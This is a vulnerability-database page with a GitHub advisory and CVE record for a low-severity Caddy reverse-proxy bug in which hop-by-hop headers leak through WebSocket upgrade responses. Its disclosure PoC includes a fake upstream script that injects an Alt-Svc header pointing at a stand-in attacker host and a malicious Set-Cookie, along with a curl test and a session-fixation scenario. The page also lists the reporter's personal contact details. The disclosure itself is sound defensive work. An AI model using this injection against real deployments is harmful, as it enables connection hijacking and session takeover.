Vulnerability-Lookup

GHSA-8QX7-J2V2-X6Q5

Vulnerability from github – Published: 2026-10-28 19:49 – Updated: 2026-10-28 19:49

Summary

Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through

Details

AI Disclosure

This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity's sake, but had to rewrite half of it by hand.

Summary

Caddy's reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols). Headers including Alt-Svc, Keep-Alive, Proxy-Authenticate, Transfer-Encoding, or Trailer, which Caddy actually correctly strips for normal HTTP responses, pass through unfiltered to the client during protocol upgrades. An upstream that sets these headers (intentionally or otherwise) can inject them into client responses, enabling connection hijacking via Alt-Svc, cookie injection via Set-Cookie, and proxy authentication phishing.

The normal response path in finalizeResponse correctly strips all hop-by-hop headers before forwarding, but the 101 code path returns early, skipping the stripping entirely.

Details

In modules/caddyhttp/reverseproxy/reverseproxy.go, the finalizeResponse method (line 1178) handles upstream responses. For all normal responses, it strips hop-by-hop headers before copying to the client:

// reverseproxy.go:1194-1198
removeConnectionHeaders(res.Header)
for _, h := range hopHeaders {
    res.Header.Del(h)
}

However, the 101 Switching Protocols check at line 1187 returns before this stripping code:

// reverseproxy.go:1186-1192
if res.StatusCode == http.StatusSwitchingProtocols {
    var wg sync.WaitGroup
    h.handleUpgradeResponse(logger, &wg, rw, req, res)
    wg.Wait()
    return nil  // <-- returns BEFORE removeConnectionHeaders and hopHeaders loop
}

Inside handleUpgradeResponse (streaming.go:60-91), all upstream response headers are copied to the client without any hop-by-hop filtering:

// streaming.go:88-91
copyHeader(rw.Header(), res.Header)        // copies ALL upstream headers
normalizeWebsocketHeaders(rw.Header())     // only remaps Sec-WebSocket-* keys

The normalizeWebsocketHeaders function (line 714) only handles WebSocket-specific header key mapping (Sec-Websocket-* to Sec-WebSocket-*). It does not strip hop-by-hop headers.

Hop-by-Hop Headers That Leak Through

Defined at reverseproxy.go:1681-1692:

Alt-Svc, Connection, Proxy-Connection, Keep-Alive, Proxy-Authenticate,
Proxy-Authorization, Te, Trailer, Transfer-Encoding, Upgrade

All 10 are stripped from normal responses. None are stripped from WebSocket upgrade responses.

For HTTP/2 and HTTP/3 WebSocket connections (extended CONNECT with :protocol: websocket), Caddy converts the upstream's 101 into a 200 OK for the client (streaming.go:99-104). The leaked headers arrive in a standard HTTP 200 response that browsers fully process, making Alt-Svc hijacking and Set-Cookie injection practically exploitable.

Normal (200): removeConnectionHeaders() runs, hopHeaders loop runs -> headers stripped Upgrade (101): handleUpgradeResponse() runs, returns early -> headers are NOT stripped

This is the only response code path in the reverse proxy that bypasses hop-by-hop header stripping.

PoC

Caddy config:

:8080 {
    reverse_proxy localhost:8083
}

Script:

import socket

UPSTREAM = (
    b"HTTP/1.1 101 Switching Protocols\r\n"
    b"Upgrade: websocket\r\n"
    b"Connection: Upgrade\r\n"
    b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n"
    b"Alt-Svc: h2=\"attacker.example.com:443\"; ma=86400\r\n"
    b"Keep-Alive: timeout=999\r\n"
    b"Proxy-Authenticate: Basic realm=\"phish\"\r\n"
    b"Set-Cookie: injected=malicious; Path=/\r\n"
    b"\r\n"
)

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 8083))
s.listen(1)
conn, _ = s.accept()
conn.send(UPSTREAM)

Curl:

curl -v \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  http://localhost:8080/ws 2>&1

Output:

< HTTP/1.1 101 Switching Protocols
< Alt-Svc: h2="attacker.example.com:443"; ma=86400
< Connection: Upgrade
< Keep-Alive: timeout=999
< Proxy-Authenticate: Basic realm="phish"
< Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
< Server: Caddy
< Set-Cookie: injected=malicious; Path=/
< Upgrade: websocket

Alt-Svc, Keep-Alive, and Proxy-Authenticate are hop-by-hop headers that MUST NOT be retransmitted by proxies per RFC 7230 §6.1. They all appear in the response.

Same upstream, same headers but on a 200 response. Caddy strips Alt-Svc correctly:

curl -v http://localhost:8080/
# Alt-Svc is absent

Impact

This is a hop-by-hop header leakage vuln (I think CWE-444 fits closest?). The proxy fails to enforce the RFC 7230 §6.1 requirement that hop-by-hop headers must not be forwarded across proxy boundaries.

Any Caddy deployment that proxies WebSocket connections, especially those using HTTP/2 or HTTP/3 (where the 101-to-200 conversion makes headers fully processable by browsers) has this issue.

How an attack might look: A company serves app.example.com behind Caddy, with HTTP/2 enabled. The app uses WebSockets for real-time notifications (i.e. every page load opens one). The upstream app gets compromised (unpatched CMS plugin, leaked CI credential, dependency confusion). The attacker adds one line to the WebSocket handler: Set-Cookie: session=hijack; Path=/.

Now every visitor to app.example.com gets the attacker's session cookie written into their browser. The app uses the session cookie as the sole authentication token. When a user reloads the page or navigates to another part of the app, their browser sends session=hijack along with the request. The attacker submits the same value from their own browser. They get logged in as that user.

Caddy strips this header on normal HTTP responses. It strips hop-by-hop headers on the request side, basically everywhere except this path.

Suggested Fix

I'll add my fix to the branch in this security advisory.

Contact Details

If you find this find worth your time you can contact me under d.ramadani@ieee.org or +43 (677) 63 397 910. In case this is something that will go public I'd be happy to be mentioned under my real name, Dionis Ramadani.

Thank you for taking the time, I hope this is something interesting for you.

Severity

2.9 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T19:49:33Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### AI Disclosure\nThis vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity\u0027s sake, but had to rewrite half of it by hand.  \n\n### Summary\nCaddy\u0027s reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols). Headers including `Alt-Svc`, `Keep-Alive`, `Proxy-Authenticate`, `Transfer-Encoding`, or `Trailer`, which Caddy actually correctly strips for normal HTTP responses, pass through unfiltered to the client during protocol upgrades. An upstream that sets these headers (intentionally or otherwise) can inject them into client responses, enabling connection hijacking via `Alt-Svc`, cookie injection via `Set-Cookie`, and proxy authentication phishing.\n\nThe normal response path in `finalizeResponse` correctly strips all hop-by-hop headers before forwarding, but the 101 code path returns early, skipping the stripping entirely.\n\n### Details\n\nIn `modules/caddyhttp/reverseproxy/reverseproxy.go`, the `finalizeResponse` method (line 1178) handles upstream responses. For all normal responses, it strips hop-by-hop headers before copying to the client:\n\n```go\n// reverseproxy.go:1194-1198\nremoveConnectionHeaders(res.Header)\nfor _, h := range hopHeaders {\n    res.Header.Del(h)\n}\n```\n\nHowever, the 101 Switching Protocols check at line 1187 returns before this stripping code:\n\n```go\n// reverseproxy.go:1186-1192\nif res.StatusCode == http.StatusSwitchingProtocols {\n    var wg sync.WaitGroup\n    h.handleUpgradeResponse(logger, \u0026wg, rw, req, res)\n    wg.Wait()\n    return nil  // \u003c-- returns BEFORE removeConnectionHeaders and hopHeaders loop\n}\n```\n\nInside `handleUpgradeResponse` (`streaming.go:60-91`), all upstream response headers are copied to the client without any hop-by-hop filtering:\n\n```go\n// streaming.go:88-91\ncopyHeader(rw.Header(), res.Header)        // copies ALL upstream headers\nnormalizeWebsocketHeaders(rw.Header())     // only remaps Sec-WebSocket-* keys\n```\n\nThe `normalizeWebsocketHeaders` function (line 714) only handles WebSocket-specific header key mapping (`Sec-Websocket-*` to `Sec-WebSocket-*`). It does not strip hop-by-hop headers.\n\n#### Hop-by-Hop Headers That Leak Through\n\nDefined at `reverseproxy.go:1681-1692`:\n\n```\nAlt-Svc, Connection, Proxy-Connection, Keep-Alive, Proxy-Authenticate,\nProxy-Authorization, Te, Trailer, Transfer-Encoding, Upgrade\n```\n\nAll 10 are stripped from normal responses. **None** are stripped from WebSocket upgrade responses.\n\nFor HTTP/2 and HTTP/3 WebSocket connections (extended CONNECT with `:protocol: websocket`), Caddy converts the upstream\u0027s 101 into a `200 OK` for the client (`streaming.go:99-104`). The leaked headers arrive in a standard HTTP 200 response that browsers fully process, making `Alt-Svc` hijacking and `Set-Cookie` injection practically exploitable.\n\nNormal (200): `removeConnectionHeaders()` runs, `hopHeaders` loop runs -\u003e  headers stripped\nUpgrade (101): `handleUpgradeResponse()` runs, returns early -\u003e headers are NOT stripped\n\nThis is the only response code path in the reverse proxy that bypasses hop-by-hop header stripping.\n\n### PoC\n\nCaddy config:\n```\n:8080 {\n    reverse_proxy localhost:8083\n}\n```\n\nScript:\n```python\nimport socket\n\nUPSTREAM = (\n    b\"HTTP/1.1 101 Switching Protocols\\r\\n\"\n    b\"Upgrade: websocket\\r\\n\"\n    b\"Connection: Upgrade\\r\\n\"\n    b\"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\\r\\n\"\n    b\"Alt-Svc: h2=\\\"attacker.example.com:443\\\"; ma=86400\\r\\n\"\n    b\"Keep-Alive: timeout=999\\r\\n\"\n    b\"Proxy-Authenticate: Basic realm=\\\"phish\\\"\\r\\n\"\n    b\"Set-Cookie: injected=malicious; Path=/\\r\\n\"\n    b\"\\r\\n\"\n)\n\ns = socket.socket()\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\ns.bind((\"0.0.0.0\", 8083))\ns.listen(1)\nconn, _ = s.accept()\nconn.send(UPSTREAM)\n```\n\nCurl:\n```bash\ncurl -v \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  http://localhost:8080/ws 2\u003e\u00261\n```\n\nOutput: \n```\n\u003c HTTP/1.1 101 Switching Protocols\n\u003c Alt-Svc: h2=\"attacker.example.com:443\"; ma=86400\n\u003c Connection: Upgrade\n\u003c Keep-Alive: timeout=999\n\u003c Proxy-Authenticate: Basic realm=\"phish\"\n\u003c Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\n\u003c Server: Caddy\n\u003c Set-Cookie: injected=malicious; Path=/\n\u003c Upgrade: websocket\n```\n\n`Alt-Svc`, `Keep-Alive`, and `Proxy-Authenticate` are hop-by-hop headers that MUST NOT be retransmitted by proxies per RFC 7230 \u00a76.1. They all appear in the response.\n\nSame upstream, same headers but on a 200 response. \nCaddy strips `Alt-Svc` correctly:\n\n```bash\ncurl -v http://localhost:8080/\n# Alt-Svc is absent \n```\n\n### Impact\nThis is a hop-by-hop header leakage vuln (I think CWE-444 fits closest?). The proxy fails to enforce the RFC 7230 \u00a76.1 requirement that hop-by-hop headers must not be forwarded across proxy boundaries.\n\nAny Caddy deployment that proxies WebSocket connections, especially those using HTTP/2 or HTTP/3 (where the 101-to-200 conversion makes headers fully processable by browsers) has this issue. \n\nHow an attack might look:\nA company serves app.example.com behind Caddy, with HTTP/2 enabled. The app uses WebSockets for real-time notifications (i.e. every page load opens one). The upstream app gets compromised (unpatched CMS plugin, leaked CI credential, dependency confusion). The attacker adds one line to the WebSocket handler: Set-Cookie: session=hijack; Path=/. \n\nNow every visitor to app.example.com gets the attacker\u0027s session cookie written into their browser. The app uses the session cookie as the sole authentication token. When a user reloads the page or navigates to another part of the app, their browser sends session=hijack along with the request. The attacker submits the same value from their own browser. They get logged in as that user.\n\nCaddy strips this header on normal HTTP responses. It strips hop-by-hop headers on the request side, basically everywhere except this path. \n\n### Suggested Fix\nI\u0027ll add my fix to the branch in this security advisory.\n\n### Contact Details\nIf you find this find worth your time you can contact me under d.ramadani@ieee.org or +43 (677) 63 397 910. In case this is something that will go public I\u0027d be happy to be mentioned under my real name, Dionis Ramadani. \n\nThank you for taking the time, I hope this is something interesting for you.",
  "id": "GHSA-8qx7-j2v2-x6q5",
  "modified": "2026-10-28T19:49:33Z",
  "published": "2026-10-28T19:49:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-8qx7-j2v2-x6q5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Caddy has an RFC 7230 \u00a76.1 compliance issue / Hop-by-hop headers that leak through"
}

CVE-2026-55458 (GCVE-0-2026-55458)

Vulnerability from cvelistv5 – Published: 2026-11-05 20:15 – Updated: 2026-11-09 18:23

Title

Caddy: RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through

Summary

Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.5, the reverse proxy's finalizeResponse method in modules/caddyhttp/reverseproxy/reverseproxy.go handles an upstream 101 Switching Protocols response before running removeConnectionHeaders and the hopHeaders deletion loop used for ordinary responses. The early return invokes handleUpgradeResponse, which copies the upstream headers to the client and normalizes only WebSocket-specific header names. An attacker who controls or compromises a proxied WebSocket upstream can therefore cause hop-by-hop headers such as Alt-Svc, Keep-Alive, and Proxy-Authenticate, as well as headers named by Connection, to cross the proxy boundary. For HTTP/2 or HTTP/3 extended CONNECT, the upstream 101 response may be represented to the client as an ordinary successful response, increasing the chance that leaked headers are processed. This issue is fixed in version 2.11.5.

Severity

2.9 (Low)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-11-09 18:22 UTC

CWE

CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7798 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/caddyserver/caddy/security/adv…	x_refsource_CONFIRM
https://github.com/caddyserver/caddy/commit/25b3e…	x_refsource_MISC
https://github.com/caddyserver/caddy/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
caddyserver	caddy	Affected: < 2.11.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55458",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-11-09T18:22:55.734375Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-11-09T18:23:55.505Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "caddy",
          "vendor": "caddyserver",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.11.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.5, the reverse proxy\u0027s finalizeResponse method in modules/caddyhttp/reverseproxy/reverseproxy.go handles an upstream 101 Switching Protocols response before running removeConnectionHeaders and the hopHeaders deletion loop used for ordinary responses. The early return invokes handleUpgradeResponse, which copies the upstream headers to the client and normalizes only WebSocket-specific header names. An attacker who controls or compromises a proxied WebSocket upstream can therefore cause hop-by-hop headers such as Alt-Svc, Keep-Alive, and Proxy-Authenticate, as well as headers named by Connection, to cross the proxy boundary. For HTTP/2 or HTTP/3 extended CONNECT, the upstream 101 response may be represented to the client as an ordinary successful response, increasing the chance that leaked headers are processed. This issue is fixed in version 2.11.5."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 2.9,
            "baseSeverity": "LOW",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-444",
              "description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-05T20:15:22.804Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/caddyserver/caddy/security/advisories/GHSA-8qx7-j2v2-x6q5",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-8qx7-j2v2-x6q5"
        },
        {
          "name": "https://github.com/caddyserver/caddy/commit/25b3eab6dbd8d2d2670711f26b774e0fd43e1179",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/caddyserver/caddy/commit/25b3eab6dbd8d2d2670711f26b774e0fd43e1179"
        },
        {
          "name": "https://github.com/caddyserver/caddy/releases/tag/v2.11.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.5"
        }
      ],
      "source": {
        "advisory": "GHSA-8qx7-j2v2-x6q5",
        "discovery": "UNKNOWN"
      },
      "title": "Caddy: RFC 7230 \u00a76.1 compliance issue / Hop-by-hop headers that leak through"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55458",
    "datePublished": "2026-11-05T20:15:22.804Z",
    "dateReserved": "2026-06-16T22:10:37.607Z",
    "dateUpdated": "2026-11-09T18:23:55.505Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

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How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

GHSA-8QX7-J2V2-X6Q5

AI Disclosure

Summary

Details

Hop-by-Hop Headers That Leak Through

PoC

Impact

Suggested Fix

Contact Details

CVE-2026-55458 (GCVE-0-2026-55458)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour